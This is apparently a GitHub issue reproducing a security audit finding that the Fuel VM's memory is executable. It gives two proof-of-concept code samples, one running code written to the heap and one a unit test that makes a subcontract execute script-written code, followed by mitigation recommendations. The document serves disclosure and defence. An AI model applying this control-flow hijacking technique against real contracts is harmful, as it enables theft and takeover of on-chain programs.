Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

TOB-FUEL-26: Memory is executable #564

Closed
xgreenx opened this issue Aug 28, 2023 · 0 comments · Fixed by #617
Closed

TOB-FUEL-26: Memory is executable #564

xgreenx opened this issue Aug 28, 2023 · 0 comments · Fixed by #617
Assignees
Labels
audit-report Issue from the audit report

Comments

@xgreenx
Copy link
Collaborator

xgreenx commented Aug 28, 2023

Description

The interpreter’s memory is executable. The figure 26.1 demonstrates this by writing the instruction RET 0x1 to the heap and then jumping to it. This is problematic as it enables compilers to produce code which utilize this behavior. Programs might become vulnerable to classical security vulnerabilities like heap or stack buffer-overflows which are able to change the programs control flow.

Figure 26.1: Proof of concept for executing code on the heap.

// allocate
op::movi(0x13, 8),
op::aloc(0x13),
// write RET op
op::movi(0x14, 0x24),
op::sb(RegId::HP, 0x14, 0),
// write 0x1 register for return code
op::movi(0x14, 0x1 << 2),
op::sb(RegId::HP, 0x14, 1),
// Set jump target to beginning of heap
op::move_(0x11, RegId::HP),
// Subtract $is
op::sub(0x11, 0x11, RegId::IS),
op::divi(0x11, 0x11, 4),
// Jump
op::jmp(0x11),

A further demonstration of this behavior can be seen in the following example (see figure 26.2). The script allocates some stack memory, which is larger than the call frame of the internal subcontract. Note, that the subcontract is vulnerable here, because it does not finish with a RET instruction. Then the contract writes executable code just after the call frame and code of the subcontract which will be called later in the script. After freeing the stack, the subcontract is called. Code which has been written by the script is executed in the context of the internal contract.

Note that the code size of the calling script must be padded to align to words.

Figure 26.2: Unit test which demonstrates executing script controlled code in the internal contract.

let gas_limit = 10_000_000;
let asset_id: AssetId = rng.gen();
let call_amount = 10u64;
let mut test_context = TestBuilder::new(2322u64);
let subcontract = vec![
    // op::ret(RegId::BAL) // no return code
];
let contract_id = test_context.setup_contract(subcontract.clone(), None, None)
    .contract_id;
let (script_ops, offset) = script_with_data_offset!(
    data_offset,
vec![
// pad
op::noop(),
        // over allocate
        op::cfei(1024),
        // attack address
        op::movi(0x15, 11648), // fp of called contract + frame size + code size
        // ret op code
        op::movi(0x14, 0x24),
        op::sb(0x15, 0x14, 0),
         // ret value (reg 1)
        op::movi(0x14, 1 << 2),
        op::sb(0x15, 0x14, 1),
        // deallocate
        op::cfsi(1024),
        // load call data to 0x10
        op::movi(0x10, data_offset + 32),
        // load balance to forward to 0x12
        op::movi(0x11, call_amount as Immediate18),
        // load the asset id to use to 0x13
        op::movi(0x12, data_offset),
        op::call(0x10, 0x11, 0x12, RegId::CGAS),
        op::ret(RegId::ONE),
    ],
    test_context.tx_offset()
);
let script_data: Vec<u8> = [
    asset_id.as_ref(),
    Call::new(contract_id, 0, offset as Word).to_bytes().as_slice(),
].into_iter().flatten().copied().collect();
// call contract with some amount of coins to forward
let mut transfer_tx = test_context
    .start_script(script_ops, script_data).gas_limit(gas_limit).gas_price(0)
    .coin_input(asset_id, 1000).contract_input(contract_id)
    .contract_output(&contract_id).change_output(asset_id).build();
// Ensure transfer tx processed correctly
test_context.execute_tx(transfer_tx).unwrap();

Therefore, depending on the layout of the subcontract a script might be able to control the memory of the called program by writing to its heap or stack.

The LDC instruction utilizes the behavior from figure 26.2. It loads data onto the stack, moves the stack and start of stack pointers (SP & SSP). Finally, the frame metadata (code size) is updated. Therefore, changes to the executability of memory will influence how instructions are designed.

Recommendations

Short term, implement a protection mechanism which prohibits executing certain memory regions like the heap. In case of the stack canaries could be introduced, which when overwritten cause a panic. Even though the Sway language aims to be memory safe, there is the possibility of bugs in the compiler which may produce unsafe code. Furthermore, users of Fuel could decide to design a competing language additionally to Sway, which might be not as memory safe as Sway.
Long term, consider making the memory non-executable. WebAssembly does not allow executing memory. Code is separated from data. This limits the possibility of RCE though contracts executed in the Fuel VM.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
audit-report Issue from the audit report
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants